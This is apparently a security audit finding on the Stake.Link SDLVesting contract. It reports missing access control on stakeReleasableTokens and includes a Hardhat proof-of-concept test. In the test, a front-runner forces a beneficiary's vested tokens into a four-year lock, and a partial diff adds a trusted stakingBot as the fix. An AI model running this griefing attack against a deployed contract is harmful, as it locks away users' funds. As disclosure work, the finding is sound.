HIGH severity: Missing access control in `SDLVesting::stakeReleasableTokens`. **Description:** The [`SDLVesting::stakeReleasableTokens`](https://github.com/stakedotlink/contracts/blob/3462c0d04ff92a23843adf0be8ea969b91b9bf0c/contracts/vesting/SDLVesting.sol#L108) function is meant to be driven by a trusted staking bot, run by the Stake.Link team, to periodically take any...

Vulnerable code:
it('should prevent griefing attacks', async () => {
      const { signers, accounts, start, vesting, sdlPool, sdlToken } = await loadFixture(deployFixture)

      await vesting.connect(signers[1]).setLockTime(4) // 4-year lock
      await time.increase(DAY)

      const releasableAmount = await vesting.releasable()
      console.log("Tokens victim wanted as liquid:", fromEther(releasableAmount), "SDL")

      await vesting.stakeReleasableTokens() //Someone frontruns and forces staking
      const lockIdAfter = await sdlPool.lastLockId()
      console.log("Frontrun with `stakeReleasableTokens`, position created with ID:", lockIdAfter.toString())
      console.log("Position owner:", await sdlPool.ownerOf(lockIdAfter), "(vesting contract)")

      // Get the staking position details
      const locks = await sdlPool.getLocks([lockIdAfter])
      const lock = locks[0]

      const currentTime = await time.latest()
      const lockDuration = Number(lock.duration)
      const unlockInitiationTime = Number(lock.startTime) + lockDuration / 2
      const fullUnlockTime = Number(lock.startTime) + lockDuration

      console.log("Base SDL staked:", fromEther(lock.amount), "SDL")
      console.log("Boost received:", fromEther(lock.boostAmount), "SDL")
      console.log("Total effective staking power:", fromEther(lock.amount + lock.boostAmount), "SDL")
      console.log("Lock duration:", lockDuration / (365 * 86400), "years")

      console.log("Years until unlock initiation allowed:", (unlockInitiationTime - currentTime) / (365 * 86400))
      console.log("Years until full withdrawal possible:", (fullUnlockTime - currentTime) / (365 * 86400))

      // Victim has almost no liquid tokens
      await vesting.connect(signers[1]).release() // Get the tiny remainder
      const victimLiquidBalance = await sdlToken.balanceOf(accounts[1])
      console.log("Victim's liquid balance:", fromEther(victimLiquidBalance), "SDL (instead of", fromEther(releasableAmount), "SDL)")

      // Victim transfers position to themselves, but it's still locked
      console.log("Transferring position to beneficiary...")
      await vesting.connect(signers[1]).withdrawRESDLPositions([4])
      console.log("Position now owned by:", await sdlPool.ownerOf(lockIdAfter))

      try {
        await sdlPool.connect(signers[1]).initiateUnlock(lockIdAfter)
        console.log("UNEXPECTED: Immediate unlock initiation succeeded!")
      } catch (error) {
        console.log("EXPECTED: Beneficiary cannot initiate unlock yet")
        console.log("Must wait 2 years before unlock can even be INITIATED, and another 2 years for full withdrawal")
      }
    })

+    /// @notice Address of the trusted bot allowed to call stakeReleasableTokens
   +    address public stakingBot;

constructor(
           address _sdlToken,
           address _sdlPool,
           address _owner,
           address _beneficiary,
   +       address _stakingBot,
           uint64 _start,
           uint64 _duration,
           uint64 _lockTime
       ) {
           _transferOwnership(_owner);
   +       stakingBot = _stakingBot;
           …
       }